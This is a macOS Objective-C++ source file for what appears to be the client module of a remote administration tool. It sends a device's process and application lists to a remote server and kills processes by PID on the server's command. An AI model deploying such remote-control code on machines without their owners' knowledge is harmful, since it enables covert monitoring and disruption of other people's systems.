#import "SystemManager.h"
#import "../client/IOCPClient.h"
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <libproc.h>
#import <signal.h>
#import <unistd.h>

SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
    : m_client(client)
    , m_clientID(clientID)
{
    // Send initial process list on connection
    sendProcessList();
}

SystemManager::~SystemManager()
{
}

void SystemManager::onReceive(const uint8_t* data, size_t size)
{
    if (!data || size == 0) return;

    switch (data[0]) {
        case COMMAND_PSLIST:
            sendProcessList();
            break;

        case COMMAND_KILLPROCESS:
            if (size > 1) {
                killProcesses(data + 1, size - 1);
                // Refresh list after kill
                usleep(100000); // 100ms wait
                sendProcessList();
            }
            break;

        case COMMAND_WSLIST:
            sendWindowsList();
            break;

        default:
            NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
            break;
    }
}

std::vector<pid_t> SystemManager::getAllPids()
{
    std::vector<pid_t> pids;

    // Get number of processes
    int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
    if (count <= 0) return pids;

    // Allocate buffer for PIDs
    std::vector<pid_t> buffer(count * 2); // Extra space for new processes
    count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
    if (count <= 0) return pids;

    int numPids = count / sizeof(pid_t);
    for (int i = 0; i < numPids; i++) {
        if (buffer[i] > 0) {
            pids.push_back(buffer[i]);
        }
    }

    return pids;
}

std::string SystemManager::getProcessName(pid_t pid)
{
    char name[PROC_PIDPATHINFO_MAXSIZE];
    memset(name, 0, sizeof(name));

    struct proc_bsdinfo info;
    if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
        return std::string(info.pbi_name);
    }

    return "";
}

std::string SystemManager::getProcessPath(pid_t pid)
{
    char path[PROC_PIDPATHINFO_MAXSIZE];
    memset(path, 0, sizeof(path));

    if (proc_pidpath(pid, path, sizeof(path)) > 0) {
        return std::string(path);
    }

    return "";
}

void SystemManager::sendProcessList()
{
    if (!m_client) return;

    std::vector<uint8_t> buf;
    buf.reserve(64 * 1024);

    // Token header
    buf.push_back(TOKEN_PSLIST);

    // Architecture string
#if defined(__arm64__) || defined(__aarch64__)
    const char* arch = "arm64";
#else
    const char* arch = "x64";
#endif

    std::vector<pid_t> pids = getAllPids();

    for (pid_t pid : pids) {
        if (pid <= 0) continue;

        std::string name = getProcessName(pid);
        if (name.empty()) continue;

        std::string path = getProcessPath(pid);
        if (path.empty()) {
            path = "[" + name + "]";
        }

        // Format: "processname:arch"
        std::string exeFile = name + ":" + arch;

        // Write PID (4 bytes, DWORD)
        uint32_t dwPid = (uint32_t)pid;
        const uint8_t* p = (const uint8_t*)&dwPid;
        buf.insert(buf.end(), p, p + sizeof(uint32_t));

        // Write exeFile (null-terminated)
        buf.insert(buf.end(), exeFile.begin(), exeFile.end());
        buf.push_back(0);

        // Write fullPath (null-terminated)
        buf.insert(buf.end(), path.begin(), path.end());
        buf.push_back(0);
    }

    m_client->Send2Server((char*)buf.data(), buf.size());
    NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
          buf.size(), pids.size());
}

void SystemManager::killProcesses(const uint8_t* data, size_t size)
{
    // Each PID is 4 bytes (DWORD)
    for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
        uint32_t dwPid = *(uint32_t*)(data + i);
        pid_t pid = (pid_t)dwPid;

        // Don't allow killing kernel/launchd
        if (pid <= 1) continue;

        // Don't allow killing ourselves
        if (pid == getpid()) continue;

        int ret = kill(pid, SIGKILL);
        NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
    }
}

void SystemManager::sendWindowsList()
{
    if (!m_client) return;

    std::vector<uint8_t> buf;
    buf.push_back(TOKEN_WSLIST);

    // Get list of running applications
    NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];

    for (NSRunningApplication* app in apps) {
        // Only include apps with windows
        if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
            continue;
        }

        NSString* name = app.localizedName;
        if (!name) continue;

        pid_t pid = app.processIdentifier;

        // Write window handle (use PID as pseudo-handle)
        uint64_t hwnd = (uint64_t)pid;
        const uint8_t* p = (const uint8_t*)&hwnd;
        buf.insert(buf.end(), p, p + sizeof(uint64_t));

        // Write window title (null-terminated)
        const char* utf8Name = [name UTF8String];
        buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
        buf.push_back(0);
    }

    m_client->Send2Server((char*)buf.data(), buf.size());
    NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
}